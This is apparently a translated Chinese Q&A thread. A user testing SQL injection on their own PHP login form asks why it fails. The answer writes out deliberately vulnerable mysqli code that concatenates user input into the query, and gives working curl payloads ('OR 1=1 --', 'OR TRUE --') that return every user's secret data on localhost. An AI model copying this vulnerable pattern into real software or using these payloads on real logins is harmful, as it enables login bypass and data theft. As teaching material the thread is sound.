我正试图通过使用SQL注入来绕过登录表单(顺便说一下,这是我自己的表单)。
但我尝试过的技术只是返回错误消息“无效登录凭据”
有人可以告诉我我能做些什么吗?
$email = $_POST['email'];
$password = $_POST['password'];
$query = mysqli_query ($db, "SELECT * FROM clients WHERE email = '$email' AND password = '$password'");
我尝试将'or TRUE--
添加到电子邮件字段中,据我所知,应该在 -
我尝试了很多其他的例子:
http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html
但没有工作。
我理解链接中的示例不使用mysqli
,但为什么这会影响它呢?
答案 0 :(得分:0)
给出以下表格结构
CREATE TABLE `clients` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`email` varchar(100) NOT NULL,
`password` varbinary(100) NOT NULL,
`secretData` varchar(20) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1
包含以下数据
INSERT INTO `clients` (`email`,`password`)
VALUES
("bob@gmail.com","aadsf345"), ("mark@aol.com","536734sdgf"),
("mary@outlook.com","password123"), ("anna@mail.ru","{}!@#$>,ZX");
您易受攻击的php代码会根据他/她的电子邮件和密码组合选择用户并在secretData
列中显示该字符串
$db = new mysqli("localhost", "root", "", "test");
$email = $_POST['email'];
$pass = $_POST['password'];
$sql = "SELECT * FROM clients WHERE email = '$email' AND password = '$pass'";
if ($result = $db->query($sql)) {
while($obj = $result->fetch_object()){
print $obj->secretData . PHP_EOL;
}
}
else{
print "no result";
}
成功登录如下,显示bob的秘密数据
$ curl -d 'email=bob@gmail.com&password=aadsf345' http://localhost.com
aaaaa
虽然注射成功如下,但显示每个人的秘密数据
$ curl -d 'email=bob@gmail.com&password=aads%27+OR+1=1+--+' http://localhost.com
aaaaa
bbbbb
ccccc
ddddd
如果要打印出注入的查询,我们的注入将从标记处开始,%27
是单引号。
SELECT * FROM clients WHERE email = 'bob@gmail.com' AND password = 'aads' OR 1=1 -- '
^
使用OR TRUE
也适用
curl -d 'email=bob@gmail.com&password=aads%27+OR+TRUE+--+' http://localhost.com